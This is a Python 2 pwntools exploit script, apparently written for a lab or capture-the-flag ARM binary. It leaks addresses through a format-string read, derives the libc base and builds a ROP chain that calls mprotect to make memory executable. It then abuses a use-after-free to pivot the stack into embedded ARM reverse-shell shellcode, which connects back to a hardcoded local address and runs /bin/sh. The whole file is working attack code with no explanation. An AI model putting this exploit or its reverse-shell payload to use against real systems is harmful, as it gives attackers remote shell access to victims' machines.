#!/usr/bin/env python2
from pwn import *
import pwnlib.asm as asm
import pwnlib.elf as elf

ip = "192.168.0.13"
port = 4444

PAGE_SIZE = 0x1000

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        log.info(asm.disasm(gadget_bytes, vma=gadget_address, arch='arm'))
        break
  return gadget_address
 
def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        log.info(asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb'))
        break
  return gadget_address
   
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

# libc file
libc = ELF('libc-2.24.so')

s = remote(ip, port)

log.info('-----------------------------------------------')

#####LEAK#####
offset = 0x32df0c
s.sendline('9')
leak_value = s.recvuntil("area")
# arbitrary read
s.sendline('0x%08x.0x%08x.0x%08x')
leak_values = s.recvuntil("done!")
wel_msg = int(leak_values[76:84], 16)
roulette_add = int(leak_values[109:114], 16)
stack_address = int(leak_values[13:23], 16)

log.info("The wel_msg address is: 0x%x", wel_msg)
log.info("The roulette address is: 0x%x", roulette_add)
log.info("The leak_address: 0x%x", stack_address)

# libc base address
libc_base = stack_address - offset
log.info("Libc base address: 0x%x", libc_base)

# mprotect address
mprotect_address = libc_base + libc.symbols['mprotect']
log.info('mprotect address 0x%x' % mprotect_address)

# gadget address
libc.address = libc_base
pop_r0_r1_r2_r3_r4_pc = find_gadget(libc, 'pop {r0, r1, r2, r3, r4, pc}')

# insert note "AAAA"
s.sendline('1')
s.sendline('A'*4)
# insert address of wel_msg as note 
s.sendline('1')
s.sendline(p32(wel_msg))
# insert note "BBBB"
s.sendline('1')
s.sendline('B'*4)

# reverse shell shellcode + "\x33"
shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0e\x1b\x01\x00\x00\x33"

# len of the new stack
stack_len = 40
stack = ""
# set LR
stack += p32(wel_msg + 36) #LR = address of the shellcode
# gadget 2 - 76d6bb08: pop {r0, r1, r2, r3, r4, pc}
stack += p32(pop_r0_r1_r2_r3_r4_pc)  # thumb address
# r0 = (wel_msg / PAGE_SIZE ) * PAGE_SIZE
stack += p32((wel_msg / PAGE_SIZE) * PAGE_SIZE)
# r1 = 0x100
stack += p32(0x100)
# r2 = 0x7
stack += p32(0x07) #RWX
# r3 = 0x00
stack += p32(0x00)
# r4 = 0x00
stack += p32(0x00)
# r5 = mprotect addres
stack += p32(mprotect_address)
stack += "ZZZZ"
# change the wel_msg value
s.sendline('0')
s.sendline(stack + shellcode)
ret = s.recvuntil("message")
sleep(1)

# objdump -d uaf | grep stack_pivot
# 000111cc <_Z11stack_pivotv>:
roulette_value = 0x111cc  # address of the stack_pivot function
# delete edit_obj
s.sendline('4')
s.sendline(str(roulette_value))
ret = s.recvuntil("message")
sleep(1)

# allocare the hole - set_address()
s.sendline('5')
s.sendline(str(roulette_add))
ret = s.recvuntil("message")
sleep(1)

# take control - show all note
s.sendline('2')
ret = s.recvuntil("message")
sleep(1)

s.close()